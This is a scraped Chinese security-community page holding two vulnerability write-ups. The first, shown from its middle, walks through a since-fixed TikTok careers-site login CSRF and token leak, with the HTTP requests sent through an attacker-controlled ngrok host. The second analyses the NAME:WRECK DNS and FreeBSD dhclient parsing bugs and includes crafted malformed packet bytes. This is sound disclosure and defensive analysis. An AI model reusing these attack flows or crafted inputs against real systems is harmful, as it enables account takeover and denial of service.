上的POC(攻击者控制)来实施攻击，手动点击该POC(这也可以使用JavaScript来实现，以便对受害者隐藏请求)
(3) 没有其他的和受害者的交互,便会在careers.tiktok.com 发起一个登录的请求,在这一步中重要的是Referer头
GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1
Host: careers.tiktok.com
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]
(4) 没有进一步的和受害者的互动，受害者被重定向到Facebook
HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: https://www.facebook.com/v3.2/dialog/oauth?client_id=792134571243895&redirect_uri=https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback&response_type=code&state=[REDACTED]
[...]
(5)
由于受害者在Facebook上有一个活动会话，并且该帐户已经链接到careers.tiktok.com，Facebook将在不需要和受害者交互的情况下重新定向到
<https://abcdefghij.ngrok.io>
HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_
(6) 在 <https://abcdefghij.ngrok.io> 将会接收到/api/v1/user/facebook/callback 的记录
重点：之所以这样做是因为该网站使用/api/v1/user/facebook/login请求中的Referer作为跳转的主机。由于此请求由攻击者控制，攻击者可以获得受害者的令牌参数
GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]
此时，具有发起CSRF攻击能力的攻击者将获得绑定到受害者Facebook帐户的令牌。
以下步骤是从攻击者的角度在新的浏览器会话中执行的:
(7) 攻击者在<https://careers.tiktok.com/login> 中单击Facebook按钮。
(8) 攻击者执行所有步骤并转发所有请求，直到最终请求（包括他的令牌）将被发送到
<https://careers.tiktok.com/api/v1/user/facebook/callback> 在此请求中，攻击者将其令牌
与先前获得的绑定到受害者帐户的令牌进行交换
GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: careers.tiktok.com
[...]
(9) 攻击者登录了受害者账号
通用流程如下所示：
## **五 影响**
恶意参与者可以使用跨站点请求伪造来接管受害者在careers.tiktok.com的帐户。
## **六 建议**
在初次报告期间提出了以下建议：
对要进行身份验证的端点实施CSRF保护，以减少登录中的CSRF漏洞（将用户验证到其帐户中）。
不要向第三方泄露敏感的身份验证相关参数，如令牌。如果Referer用于确定令牌的目标，则必须使用适当的白名单验证其值！
## **七 负责任的披露**
2020年10月17日：
[LH]通过Hackerone提供初始报告：<https://hackerone.com/reports/1010522>
2020年10月18日：[TikTok]对报告的CVSS评分较高（7.5）。
2020年10月28日：[TikTok]悬赏。
2020年10月29日：[TikTok]报告已解决。
2020年10月29日：[LH]修复成功重新测试。
负责任的披露过程堪称典范，为TikTok的应用程序安全团队致敬！
原文地址: <https://security.lauritz-holtmann.de/advisories/tiktok-account-takeover/> | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/ThaUYbsWhCAfGXMVp21L2g>**
### 1\. 漏洞概述
2021年04月13日，Fourscore研究实验室与JSOF合作，披露了一组新的DNS漏洞，被称为NAME:WRECK。这些漏洞影响了四种流行的TCP/IP堆栈
--即FreeBSD、IPnet、Nucleus
NET和NetX，它们普遍存在于知名的IT软件和流行的IOT/OT固件中，并有可能影响全球数百万的物联网设备。
攻击者可以利用这些漏洞使受影响的设备脱机或对设备进行控制。
### 2\. 相关介绍
#### 1、DNS协议之压缩指针
在之前的文章中，我们介绍了基础的DNS协议，其中域名是由一连串的label组成的，如下图所示:
其中红框所示为每个label的长度，每个label最长为63字节，并且处理的时候，除了第一个长度字节，将每个长度字节替换为”.”，最后遇到null字节结束，从而组成了最后的域名。
不过在一些回复包中，会包含多次A记录或CNAME记录，这就造成了DNS数据过于冗长，因此DNS协议的设计者设计出了压缩指针。在压缩指针的机制中，通过指针指向之前出现过的一连串label从而达到压缩的目的。这个指针由两个字节组成，第一个字节的前两个bits为11，后面14个bits为偏移地址。
下面举一个具体的例子，如下图数据包所示，红框内为压缩指针，指向偏移0x0c的位置，也就是www.example.com的开头处。
#### 2、DHCP协议
DHCP动态主机配置协议，前身是BOOTP协议，是一个局域网的网络协议，使用UDP协议工作，通常被用于局域网环境，主要作用是集中地管理、分配IP地址，使客户端动态的获得IP地址、Gateway地址、DNS服务器地址等信息，并能够提升地址的使用率。
DHCP报文共有8种，分别如下所示：
* DHCPDISCOVER ：客户端开始DHCP过程发送的报文，是DHCP协议的开始。
* DHCPOFFER：服务器接收到DHCPDISCOVER之后做出的响应，包括了给予客户端的IP（yiaddr）、客户端的MAC地址、租约过期时间、服务器的识别符以及其他信息。
* DHCPREQUEST：客户端对于服务器发出的DHCPOFFER所做出的响应。在续约租期的时候同样会使用。
* DHCPACK：服务器在接收到客户端发来的DHCPREQUEST之后发出的成功确认的报文。在建立连接的时候，客户端在接收到这个报文之后才会确认分配给它的IP和其他信息可以被允许使用。
* DHCPNAK：DHCPACK的相反的报文，表示服务器拒绝了客户端的请求。
* DHCPRELEASE：一般出现在客户端关机、下线等状况。这个报文将会使DHCP服务器释放发出此报文的客户端的IP地址。
* DHCPINFORM：客户端发出向服务器请求一些信息的报文。
* DHCPDECLINE：当客户端发现服务器分配的IP地址无法使用（如IP地址冲突时），将发出此报文，通知服务器禁止使用该IP地址。
DHCP数据包发送过程，如下图所示：
DHCP报文格式如下图所示：
部分数据域定义，如下所示：
* xid：随机生成的一段字符串，两个数据包拥有相同的xid说明他们属于同一次会话。
* ciaddr：客户端会在发送请求时将自己的IP放在此处。
* yiaddr：服务器会将想要分配给客户端的IP放在此处。
* siaddr：引导程序中使用的下一个服务器的IP地址；由服务器在DHCPOFFER，DHCPACK中返回。
* chaddr：客户端的MAC地址。
* giaddr：如果需要跨子网进行DHCP地址发放，则在此处填入经过的路由器的IP地址。
* sname：服务器主域名。
* options：可以自由添加的部分，用于存放客户端向服务器请求信息和服务器的应答信息。
DHCP域搜索选项，该选项从DHCP服务器传递到DHCP客户端，以指定在使用DNS解析主机名时使用的域搜索列表。该选项的代码为119，格式如下图所示：
举个例子，下图是“eng.apple.com”和“marketing.apple.com”组成的搜索列表的示例编码：
该示例编码已分为三个“域搜索选项”。
在客户端解析之前，所有域搜索选项在逻辑上都串联到一个数据块中。以第一个“域搜索选项”为例，第一个字节为119，第二个字节为9，表示后面Searchstring的长度，剩下的数据均为Searchstring。这三个“域搜索选项”的Searchstring组合成一个完整聚合块，可表示为：
|3|’e’|’n’|’g’|5|’a|’p’|’p|’l’|’e’|3|’c’|’o’|’m’|0|9|’m’|’a’|’r’|’k’|’e’|’t’|’i’|’n’|’g’|0xC0|0x04|。
“eng.apple.com”的编码以零结尾，以标记名称的结尾。“marketing”（针对marketing.apple.com）的编码以两个八位字节的压缩指针C004（十六进制）结尾，该指针指向DomainSearchOption数据的完整聚合块（从第一个“域搜索选项”中的Searchstring开始）中的偏移量4，其中另一个有效编码可以找到完整的域名（“apple.com”）。如下图所示：
每个搜索域名都必须以零或两个八位位组压缩指针结尾。如果接收器到达搜索列表选项数据的完整汇总块的末尾时正在通过搜索域名进行解码，而没有找到零或有效的两个八位位组压缩指针，那么必须将部分读取的域名视为无效域名。
### 3\. 漏洞分析
#### 1、Nucleus NET系列漏洞
上图为Nucleus
NET协议栈中的DNS_Unpack_Domain_Name()函数，这个函数用来处理DNS应答记录。第一个参数dst是指向一个buffer，用于拷贝解析的域名。第二个参数src指向域名的第一个字节，第三个参数指向DNS
Header的第一个字节。
代码通过while循环去解析域名（第7行），直到src为null字节，也就是域名的结尾。之后将第一个label的长度赋值给size（第9行）。下面，也就是最重要的一步就是检查该字节是否为压缩指针。如果不是，src指针前移一个字节，然后将src拷贝到dst。然后每个label之间加”.”。为正常的解析域名流程。如果是压缩指针而且是第一个压缩指针，retval加两个字节（第10，11行），然后根据偏移计算label起始位置，然后将长度赋值给size，之后正常处理。
这段代码看起来没有问题实际上包含4个非常严重的问题，其造成的漏洞编号分别为CVE-2020-27736、CVE-2020-27738、
CVE-2020-15795、CVE-2020-27009。
1.对label长度没有做验证
根据上文讲述的内容，每个label的第一个字节代表长度（第8，16行），但是程序没有检查这个长度是否代表真实数据包中label的长度，这可导致读取超过已分配结构体的buffer，造成拒绝服务。
2.对压缩指针的偏移没有做验证
根据上文讲述的内容，程序判断为压缩指针后，便会通过给出的偏移去寻找解析label（第14,15,16行），但是程序没有验证偏移的范围，这导致偏移值可以任意给定，这导致可以越界读写，从而RCE。
3.缺少NULL终止判定
根据RFC1035的表述，NULL字节(0x00)表示name的结尾（第7行）。但是在很多DNS解析程序中缺乏对NULL字节的验证，这导致攻击者可以通过控制NULL字节在特定的位置，通过和前几个问题相结合，同样可以实现可控的内存读写。
4.对域名的长度没有做限制
根据RFC1035的陈述，从DNS记录里提取的域名不应该超过255字节，尽管每个label限制了不超过63个字节（第15行），但是这只是一次性拷贝的长度，并没有限制实际拷贝的长度。
如下图所示，通过NU_Allocate_Memory()函数分配给name
255个字节个空间（第50行），即DNS_MAX_NAME_SIZE。后面调用DNS_Unpack_Domain_Name的过程中，显然可以通过构造恶意的数据包溢出这255字节。
所以根据以上内容，PoC的编写的思路有很多方法，比如可以让程序永远无法退出循环，类似下图：
c0为压缩指针，1e为偏移量，而偏移的位置正好重新指向c0，造成无限循环。
#### 2、FreeBSD漏洞（CVE-2020-7461）
该漏洞出现在dhclient解析DHCP数据包中的“域搜索选项”数据时，由于边界检查错误而导致堆溢出。dhclinet是FreeBSD系统中用于提供DHCP服务的二进制程序，执行命令：dhclient
em0便可进行DHCP配置，em0为网卡。源码位于sbin\dhclient\options.c，从do_packet()函数开始，代码清单如下图所示：
该函数用于处理DHCP客户端接收到的数据包，行890，调用parse_options()函数解析数据包中的options，代码清单如下图所示：
行106，调用expand_domain_search()函数进一步解析DHCP域搜索选项数据，该函数进行两个操作，第一步操作是先获取所有域名标签的总长度，第二步操作是根据第一步获取的长度进行内存分配，并拷贝所有域名标签。
先看第一操作，如何获取所有域名标签的长度，关键代码实现如下图所示：
首先判断options是否为空，不为空就获取options，行229，然后进入while循环，调用find_search_domain_name_len()函数处理options，该函数通过一个while循环逐个字节解析Searchsting并分类处理，第一种情况的关键代码实现如下图所示：
如果读取到data[i]为0，表示域名标签的结尾，并返回该域名标签长度。接着第二种情况的关键代码实现如下图所示：
如果读取到data[i]为0xC0，表示为压缩指针，指向另一个域名标签，行287，计算pointer，然后对该指针进行范围检查判断是否越界（第299行），递归调用find_search_domain_name_len()函数解析压缩指针指向的另一个域名标签（第301行），递归调用返回后，进行domain_name_len
+= pointer_len累加。如果既不是0结尾也不是压缩指针，则依次累加并移位游标，实现代码如下图所示：
在第299行和第301行之间是存在问题的，如果递归处理压缩指针指向的另一个域名标签不合法时，返回的pointer_len为-1，这里并没有将其视为无效并进行返回，而是依旧返回部分域名标签长度。
再看第二操作，分配缓冲区并进行域名标签拷贝，关键代码如下图所示：
这里expanded_len为计算出来的域名标签的长度（第242行），分配一段内存（第248行），进入while循环，调用expand_search_domain_name()函数进行域名标签拷贝，实现代码如下图所示：
该函数和find_search_domain_name_len()函数实现基本是一样的，分类处理0结尾和压缩指针，但是在处理压缩指针的情况时，并没有判断指针范围的合理性。行366，调用memcpy进行域名标签拷贝，拷贝长度为label_len。
根据前文分析，第一步操作在递归处理压缩指针的情况时，是存在问题的，并没有丢弃包含无效压缩指针的域名标签。可以构造一个特殊的域名标签混淆lebal的递归解析，该域名标签表示为：|
1 |x3F|x00| 1 |'A'|xC0|x01|。
依次读取到label_len为0xC0时，进一步递归调用解析，这次读取到label_len为0x3f，将0x3f当成了域名长度，但是第305行，判断发生越界，因此返回-1。
但是这里仍然计算出domain_name_lan为1，因此第二个域名包含一个0x41。
最后计算出expanded_len为0x5，如下图所示：
然后开始进行第二步拷贝操作，先拷贝第一个domain：0x3f。如下图所示：
第二次拷贝第二个domain：0x41。如下图所示：
递归解析压缩指针0XC004时，发生了混淆，如下图所示：
错误地将0x3f当成label_len，这明显是大于expanded_len的，直接拷贝导致溢出。不过在实际测试中，并未产生内存破坏，而可以构造其他的域名标签陷入无限递归，让dhclient进程堆栈耗尽导致崩溃，造成拒绝服务。
### 4\. 处置建议
FreeBSD、Nucleus NET和 NetX，建议先实施以下安全建议，再及时更新设备供应商发布的安全更新。
安全建议：
* 使用一些缓解信息来开发检测DNS漏洞的签名；
* 发现并清点运行易受攻击堆栈的设备；
* 实施分段控制和适当的network hygiene；
* 监视受影响的设备供应商发布的补丁；
* 配置设备依赖内部DNS服务器；
* 监控所有网络流量中的恶意数据包。
### 5\. 参考链接
[1] <https://www.bleepingcomputer.com/news/security/name-wreck-dns-vulnerabilities-affect-over-100-million-devices/>
[2] <https://www.freebsd.org/security/advisories/FreeBSD-SA-20:26.dhclient.asc>
[3] <https://github.com/Forescout/project-memoria-detector>
[4] <https://github.com/Forescout/namewreck>
[5] <https://www.venustech.com.cn/new_type/aqtg/20210413/22594.html>
* * * | 社区文章 |
Subsets and Splits